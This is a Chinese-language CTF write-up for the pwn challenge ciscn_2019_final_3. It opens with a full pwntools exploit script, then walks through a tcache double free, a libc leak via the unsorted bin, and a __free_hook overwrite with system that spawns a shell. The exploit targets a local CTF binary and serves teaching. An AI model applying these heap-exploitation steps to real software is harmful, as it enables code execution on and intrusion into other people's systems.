ciscn_2019_final_3 writeup

一道收获蛮大的 PWN 题，拖了好久才 PWN 出来，关于 tcache 更加的了解了。文中有部分心理活动，大家乐呵乐呵吧，啊哈哈哈哈 Orz

语雀阅读体验更佳

https://www.yuque.com/hxfqg9/bin/ms60xm

开头先放 EXP：

# encoding=utf-8
from pwn import *
#context.log_level = 'debug'

p = process("./pwn")
#p = remote("node3.buuoj.cn",29686)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,size,content):
  p.sendlineafter('choice > ',str(1))
  p.sendlineafter('input the index\n',str(index))
  p.sendlineafter('input the size\n',str(size))
  p.sendlineafter('something\n',content)
  p.recvuntil("gift :")
  ptr = int(p.recv(14),16)
  print index,":",hex(ptr)
  return ptr
  
def remove(index):
  p.sendlineafter('choice > ',str(2))
  p.sendlineafter('input the index\n',str(index))
  
ptr0 = add(0,0x50,'a'*0x10)
add(1,0x70,'b'*0x10)
add(2,0x70,'c'*0x10)
add(3,0x50,'/bin/sh\x00')
add(4,0x10,'d'*0x10)

remove(0)
remove(0)
add(5,0x50,p64(ptr0-0x11e60))
add(6,0x50,'\x10')
add(7,0x50,'\x05'+'a'*3+'\x03'+'a'*(0x40-5)+p64(ptr0+0x50))
add(8,0x10,p64(0)+p64(0x101))

remove(0)
remove(0)
remove(1)#unsortedbin
add(9,0x50,p64(ptr0+0x60))
add('10',0x50,'\xd0')
add('11',0x50,'\xa0')
main_arena_addr = add('12',0x50,'\x50')-96
libc_base = main_arena_addr - libc.sym['__malloc_hook'] - 0x10
malloc_hook_addr = main_arena_addr-0x10
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f3c2
sys_addr = libc_base + libc.sym['system']

remove(0)
remove(0)
add('13',0x50,p64(free_hook))
add('14',0x50,'\11')
add('15',0x50,p64(sys_addr))
p.recvuntil("choice > ")
p.sendline('2')
p.sendlineafter("input the index\n",'3')
p.interactive()

首先申请几个 chunk，然后对其中一个 free 两次，因为有 tcache 机制，所以可以 free，且会放在同一个 tcache 链表中 0x555555768e70

接下来申请回来 0x50，反手把 fd 指针改掉，改成：

0x555555768e70-0x11e60=0x555555757010

不太理解这个分配机制，都改掉链表了啊！？为啥还会分到之前那里！？

可能是这样的，本来：

0x555555768e70 -> 0x555555768e70

申请一个，同时把这个地方的 fd 指针给改为 0x555555757010

这时候成了 0x555555768e70 -> 0x555555757010，再去申请的时候申请到了 0x555555768e70

然后 tcache 链表是这样的：0x555555757010，然后再去申请的时候把 fd+0x40（不明白为啥是这样一个地方 fd+0x40 这样子，明白了看后面吧hhhh）改成 0x555555768ec0，而 tcache 再去找的时候也确实是找了这个地方

然后我发现在一开始 remove 之后 0x555555757070 这里就有指向第 0 个的指针了，难道这是链表头部？

一点一点看看，首先是全部申请之后：啥都没有

对第 0 个 remove 一次之后：出现了第 0 个的地址

对第 0 个第二次 remove 后：第 0 个的 fd 也指向第 0 个了，合情合理

然后去 malloc 一个，同时把 fd 指针改成 0x0000555555757010

因为 free 了两次，所以应该还指向第 0 个，但是第 0 个的 fd 指针已经改变了

然后再去申请一个的话 tcache 就指向更改的那个 0x0000555555757010 了

我们再通过申请时写入到 0x555555757050 使得前面有个地方改成 0x0000555555768ec0

（这时候突然意识到 tcache 是每种大小的在一个链表），exp 中后面再去 malloc 的是 0x10，往后数一下，我们之前看到的 0x555555757070 正好是 0x50 大小的链表那里！！

也就是说如果下一个申请的是 0x10 大小的话就应该去 0x555555757050 去找指针

而我们写入的那个 0x0000555555768ec0 正好是第 1 个 chunk 的 chunk 头，也就是说这样我们就能控制第 1 个 chunk 的 size 了，我们在申请时将它的 size 改为了 0x100

另外 0x555555757010 这个地方正好对应着 tcache 的数量，比如一开始 remove 了两个以后这个地方成了 2

因为我们前面已经把除了我们要用的都改成了 0x61（'a'）了，所以即使 0x100 也会放入 unsorted bin 中

然后去 malloc 一个的同时把第 0 个的 fd 指针又改为了刚才释放的那一个，强行排队2333

这样再去申请第三次的时候就会申请到 unsorted bin 的地址，通过给的 gift 就能知道 main_arena+96 的地址了，然后就能计算出 libc 的地址啦！

然后要做的就是 double free 编辑 free_hook 为 system 的地址，然后去 free 第三个就可以拿到 shell 了（因为前面我们把第三个上写入的是 "/bin/sh"）

当然，也可以直接编辑 free_hook 为 one gadget，这样随便 free 哪一个都可以啦！